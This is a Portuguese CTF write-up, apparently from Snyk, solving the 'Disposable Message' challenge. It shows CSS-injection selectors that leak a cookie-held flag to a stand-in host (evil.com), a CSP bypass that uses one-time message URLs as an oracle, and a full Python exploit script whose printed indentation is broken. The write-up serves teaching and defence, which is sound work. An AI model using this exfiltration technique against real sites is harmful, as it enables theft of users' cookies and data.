Resolução do Fetch the Flag CTF 2022: Disposable Message

Obrigado por participar do Fetch com a gente! Parabéns às milhares de pessoas que participaram doFetch the Flag CTF. E um agradecimento especial aos Snykers que criaram, testaram e documentaram os desafios!

Neste post, vamos falar sobre o desafio Disposable Message, que fez parte do evento Fetch the Flag CTF 2022 da Snyk. O desafio envolvia o uso de técnicas de injeção de CSS para explorar uma página da web vulnerável e recuperar a flag. Disposable Message foi particularmente difícil por causa de uma política de segurança de conteúdo (CSP) rigorosa. Aproveitar o fato de que as mensagens expiravam após serem acessadas foi a chave para contornar essa política.

Neste post, explico como criei um exploit funcional para esse desafio. Vou contar essa jornada, começando pela fase de investigação e usando as descobertas para desenvolver um exploit funcional. O código do exploit foi escrito em Python; vou partir do pressuposto de que você tem alguma familiaridade com a linguagem. Conhecer CSS, JavaScript e HTML também será útil, mas vou explicar a maior parte do que for mencionado.

Investigação

O desafio começa com uma descrição bem curta: “Esta mensagem expirou.”, acompanhada de um link para uma página da web.

A descrição dá a entender que a página permite criar mensagens que podem ser acessadas uma única vez antes de serem excluídas pelo servidor. O fato de isso ser mencionado na descrição provavelmente indica que é algo importante (tente se lembrar disso mais adiante).

Ao acessar a página, vemos o seguinte:

A página tem uma caixa de texto para escrever mensagens. Se escrevermos uma mensagem e clicarmos no botão Send!, veremos a seguinte página:

Podemos ver uma nova URL no formato /view/<message-id> (daqui em diante, vamos chamá-la de página de visualização da mensagem). Também há um botão para copiar a mensagem para a área de transferência e um botão Ask admin bot to visit. Se abrirmos a URL de visualização da mensagem no navegador, veremos a mensagem que criamos. Se acessarmos a mesma página uma segunda vez, o servidor da web retornará o código de status 404.

Vamos voltar ao botão Ask Admin bot to visit. Podemos deduzir que, ao clicar nele, um bot de administrador remoto acessa a mensagem em um navegador. Temos quase certeza disso porque, depois de clicar no botão, nossa mensagem expira pouco tempo depois. O nome “bot de administrador” também sugere fortemente que esse navegador contém a flag que precisamos.

Em seguida, vamos examinar o código-fonte da página para ver o que chama a atenção.

Onde está a flag

O seguinte trecho de código HTML aparece na página de visualização da mensagem:

1<!-- from your cookies -->
2<div data-flag=""></div>

De acordo com o comentário no código, o atributo data-flag desse elemento div recebe um valor dos nossos cookies. Podemos confirmar isso facilmente abrindo as ferramentas de desenvolvedor do navegador e editando os cookies para ver o que acontece.

A opção mais óbvia para o nome do cookie da flag é “flag”. Se definirmos o valor “SNYK{hello-world}” em um cookie chamado “flag” e abrirmos novamente a página de visualização da mensagem, veremos que o atributo recebe o valor corretamente:

1<!-- from your cookies -->
2<div data-flag="SNYK{hello-world}">SNYK{hello-world}</div>

Injeção de CSS

Ao examinar o script incluído na página de visualização da mensagem, também encontramos o seguinte código JavaScript:

1if (window.location.search.startsWith('?color=')) {
2    localStorage.setItem(
3        'color',
4        decodeURIComponent(window.location.search.replace('?color=', ''))
5    );
6}
7
8const color = localStorage.getItem('color') || 'ffffff';
9const style = document.createElement('style');
10
11style.innerText = `body {background-color: #${color};}`;
12document.head.appendChild(style);

O script verifica se há um parâmetro de query string chamado “color” na URL. Se houver, o valor desse parâmetro é inserido em uma tag style. Por fim, a tag style é adicionada dinamicamente à página.

O que chama a atenção nessa tag style é que ela é criada usando formatação de strings. Isso nos permite escapar da tag style e ampliá-la para incluir qualquer valor CSS que quisermos. Isso é conhecido como uma vulnerabilidade de injeção de CSS.

Podemos testar facilmente se a página é vulnerável à injeção de CSS definindo o parâmetro color como algo como color=00ff00;font-size:80px e confirmando que o tamanho da fonte muda corretamente para o valor especificado:

A injeção de CSS nos permite exfiltrar informações da página no navegador de uma pessoa usuária. Esse ataque consiste em criar vários seletores CSS que acionam URLs quando os valores correspondem a seletores específicos.

Por exemplo, se quisermos extrair o atributo data-flag de um elemento HTML div, podemos definir o parâmetro color como:

1div[data-flag^=a] {
2    background-image: url(//evil.com/a)
3}
4div[data-flag^=b] {
5    background-image: url(//evil.com/b)
6}
7// etc…
8div[data-flag^=y] {
9    background-image: url(//evil.com/y)
10}
11div[data-flag^=z] {
12    background-image: url(//evil.com/z)
13}

O seletor ^= acima acionará a URL associada se o valor do atributo começar com a string especificada.

Isso significa que, se, por exemplo, o atributo data-flag da div começar com a, nosso navegador acessará http//evil.com/a . Se o valor começar com b, acessará http//evil.com/b, e assim por diante…

Se controlarmos o servidor evil.com, saberemos quais páginas foram acessadas. Com tentativas suficientes usando seletores CSS, podemos extrair o atributo data-flag caractere por caractere.

Política de segurança de conteúdo

Os navegadores modernos oferecem um recurso chamado Política de segurança de conteúdo (CSP), que restringe o conteúdo usado em uma página da web. Este desafio tem uma CSP que nos impede de usar diretamente as técnicas de injeção de CSS descritas acima.

Podemos consultar a CSP usando as ferramentas de desenvolvedor do navegador para verificar os cabeçalhos da página:

1Content-Security-Policy: default-src 'self'; font-src 'self'; img-src 'self' data:; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net/npm/bootstrap@5.0.1/; frame-src 'self'

Observe que a seção img-src da política permite apenas “self” e “data”. Isso significa que só podemos usar URLs do mesmo domínio da página de mensagens descartáveis. Em particular, não podemos usar um domínio que controlamos para verificar quais URLs foram acessadas por meio da injeção de CSS. No entanto, podemos aproveitar as mensagens descartáveis do desafio para contornar essa restrição.

Sabemos que as mensagens descartáveis só podem ser visualizadas uma vez. Se uma mensagem já tiver sido acessada, ela retornará o código de status 404. Portanto, podemos usar URLs de mensagens descartáveis nos seletores de injeção de CSS e verificar o código de status para detectar se foram acessadas.

Resumo da investigação

Estas são as principais informações desta investigação que vão nos ajudar a criar o exploit. Se você não entendeu completamente a seção anterior (ou apenas passou os olhos por ela), basta entender estes pontos para acompanhar a próxima seção:

• A página de visualização da mensagem é vulnerável à injeção de CSS pelo parâmetro de query string ?color=. Isso significa que podemos definir estilos arbitrários na página.

• A política de segurança de conteúdo permite apenas URLs do mesmo domínio. Isso significa que o navegador bloqueará todas as URLs externas.

• Uma mensagem só pode ser visualizada uma vez. Isso significa que receberemos o código de status 200 se a mensagem ainda não tiver sido acessada e o código 404 se já tiver sido.

• A flag está no atributo data-flag da página de visualização da mensagem. Esse valor é preenchido pelo parâmetro de cookie “flag” do navegador. É provável que o bot de administrador tenha esse cookie definido com a flag correta.

Vamos ver como podemos combinar todos esses detalhes para criar um exploit.

O exploit

Podemos usar a injeção de CSS para extrair informações sobre a flag, por meio do atributo data-flag, caractere por caractere. Porém, precisamos usar uma URL do mesmo domínio controlado pelo desafio. Ao exfiltrar caracteres com injeção de CSS, o que importa é saber se uma URL foi acessada ou não, para identificar quais caracteres estão sendo extraídos.

Por sorte, podemos criar mensagens dentro do domínio de mensagens descartáveis para cada caractere. Cada URL pode ser usada e associada a seletores CSS que contenham cada caractere:

1div[data-flag^=a] { background: url(/view/1d2e4e8b-40dc-4569-9737-6e7725277173); }
2div[data-flag^=b] { background: url(/view/092d619a-269a-4b66-be55-bfe2ced506d7); }
3div[data-flag^=c] { background: url(/view/2b87ba4d-4c8d-46e8-bcad-d664f3166ec4); }
4div[data-flag^=d] { background: url(/view/a69bb0eb-cd83-43e9-9e14-6386cf486b9e); }
5div[data-flag^=e] { background: url(/view/fe045e4b-41fb-4de1-973b-7ffd03563b13); }
6…
7div[data-flag^=}] { background: url(/view/54c5f762-2e8b-4257-91d2-2de3f9988318); }

Podemos fazer tudo isso em Python, com algo como:

1payload = "?color=ffffff}"
2messages = {}
3for character in alphabet:
4    guess = character
5    # generate a message url to test our CSS selectors with
6    view_url, _ = generate_message()
7    messages[guess] = view_url
8
9    payload += generate_payload(view_url, guess)

A função generate_payload precisa criar um seletor CSS que acione a URL associada se nosso palpite estiver correto. A função fica assim:

1def generate_payload(url, guess):
2    return f'div[data-flag^="{guess}"]{{background:url({url});}}'

A função generate_message precisa criar uma nova mensagem usando o endpoint POST /new, acionado pelo botão Send!. Depois de criar a mensagem, precisamos armazenar as URLs do bot de administrador e de visualização da mensagem geradas por essa chamada. Podemos extrair essas URLs da resposta usando uma expressão regular:

1def generate_message():
2    # the actual content of the message is not important
3    data = {"message": "Hello world!"}
4    resp = requests.post(DOMAIN + "/new", data=data)
5
6    result = re.findall(r"/view/[a-f0-9\-]+", resp.text)
7    view_url = result[0]
8
9    result = re.findall(r"/admin-bot/[a-f0-9\-]+", resp.text)
10    admin_url = result[0]
11
12    return view_url, admin_url

Depois de gerar as mensagens e as cargas úteis dos seletores CSS associadas a elas, precisamos criar mais uma mensagem para o bot de administrador acessar. Essa mensagem receberá nossa carga útil e acionará as URLs das mensagens, dependendo de nosso palpite corresponder ou não ao que está no atributo “data-flag”.

Depois de acionar o bot de administrador, precisamos esperar alguns segundos para que ele acesse e renderize a página. Ao terminar de esperar, verificamos o código de status de todas as URLs associadas às nossas mensagens de palpite para ver qual retorna o código 404. Se encontrarmos um código 404, saberemos que o bot de administrador acessou a URL e poderemos marcar o palpite como correto.

1flag = “”
2payload = "?color=ffffff}"
3
4messages = {}
5for character in alphabet:
6    guess = flag + character
7    view_url, _ = generate_message()
8    messages[guess] = view_url
9
10    payload += generate_payload(view_url, guess)
11
12_, admin_url = generate_message()
13
14url = DOMAIN + admin_url + quote_plus(payload)
15requests.post(url)
16
17time.sleep(5)
18
19for guess, url in messages.items():
20    status = requests.get(DOMAIN + url).status_code
21    print(f"Checking '{guess}': {url} ({status})")
22
23    if status == 404:
24        flag = guess
25        print("Found match", flag)
26        break

Codificação da query string

Você talvez tenha notado, ao ler o código acima, que usamos quote_plus para codificar a query string inteira, incluindo o nome do parâmetro e o delimitador da query string ?color=. O motivo é que as cargas úteis passadas ao bot de administrador pela query string são ignoradas.

Para contornar esse problema, podemos fazer o bot de administrador pensar que a query string faz parte do caminho da URL e, assim, incluí-la na URL de visualização da mensagem que ele acessa.

Por exemplo, se tivermos o seguinte caminho de URL: /admin-bot/f785781-55f4-4eca-8565-8511f12a4ffc**?color=**ffffff%7D…

Então, o bot de administrador ignorará o parâmetro da query string e acessará apenas o caminho de URL /view/f785781-55f4-4eca-8565-8511f12a4ffc

No entanto, se codificarmos o parâmetro da query string por completo, ele passará a fazer parte do caminho da URL:

/admin-bot/f785781-55f4-4eca-8565-8511f12a4ffc**%3Fcolor%3D**ffffff%7D…

Parece que o servidor da web decodifica esse valor antes de repassá-lo ao bot. Isso significa que a URL da página acessada será:

/view/f785781-55f4-4eca-8565-8511f12a4ffc?color=ffffff}...

Recuperando a flag completa

Agora que sabemos fazer os palpites corretamente, precisamos repetir o processo até acertarmos a flag inteira. Quando chegarmos a }, saberemos que podemos parar.

Também sabemos, com base nos valores de flags de desafios anteriores, que as flags da Snyk começam com 'SNYK{' e que o conteúdo entre as chaves é um UUID. Isso é útil porque podemos limitar nosso alfabeto aos caracteres “a-f” e “0-9”. Isso reduzirá bastante o tempo necessário para testar os palpites em cada iteração.

Código do exploit

Juntando tudo isso, o código-fonte final fica assim:

1import time
2import requests
3import re
4from urllib.parse import quote_plus
5from string import digits
6
7DOMAIN = "http://disposable-message.c.ctf-snyk.io"
8
9def main():
10      alphabet = "abcdef" + digits + "}"
11      print("DOMAIN", DOMAIN)
12      print("alphabet", alphabet)
13      flag = "SNYK{"
14
15      while True:
16            payload = "?color=ffffff}"
17
18            messages = {}
19      for character in alphabet:
20            guess = flag + character
21            view_url, _ = generate_message()
22            messages[guess] = view_url
23
24            payload += generate_payload(view_url, guess)
25
26      _, admin_url = generate_message()
27
28      url = DOMAIN + admin_url + quote_plus(payload)
29      requests.post(url)
30
31      time.sleep(5)
32
33      for guess, url in messages.items():
34            status = requests.get(DOMAIN + url).status_code
35            print(f"Checking '{guess}': {url} ({status})")
36
37            if status == 404:
38            flag = guess
39            print("Found match", flag)
40            Break
41      else:
42                  raise ValueError("Unable to find guess")
43
44def generate_payload(url, guess):
45      return f'div[data-flag^="{guess}"]{{background:url({url});}}'
46
47def generate_message():
48      data = {"message": "Hello world!"}
49      resp = requests.post(DOMAIN + "/new", data=data)
50
51      result = re.findall(r"/view/[a-f0-9\-]+", resp.text)
52      view_url = result[0]
53
54      result = re.findall(r"/admin-bot/[a-f0-9\-]+", resp.text)
55      admin_url = result[0]
56
57      return view_url, admin_url
58
59if __name__ == "__main__":
60      main()

Ao executar esse código, temos a satisfação de ver a flag SNYK ser extraída caractere por caractere:

Mensagem descartada, desafio resolvido

Descobrimos que o desafio de mensagens descartáveis era vulnerável à injeção de CSS. Embora uma política de segurança de conteúdo restritiva tenha dificultado o processo, conseguimos desenvolver um exploit para extrair a flag. Para isso, aproveitamos o código de status 404 retornado quando mensagens já visualizadas eram acessadas.

Espero que você tenha gostado desta resolução de CTF e até aprendido algo novo! Os desafios de CTF são uma ótima forma de aprender sobre exploits do mundo real e, assim, se preparar melhor para se defender deles em seus próprios sistemas. Quer saber como encontramos todas as outras flags? Confira a página de soluções do Fetch the Flag para ver como fizemos.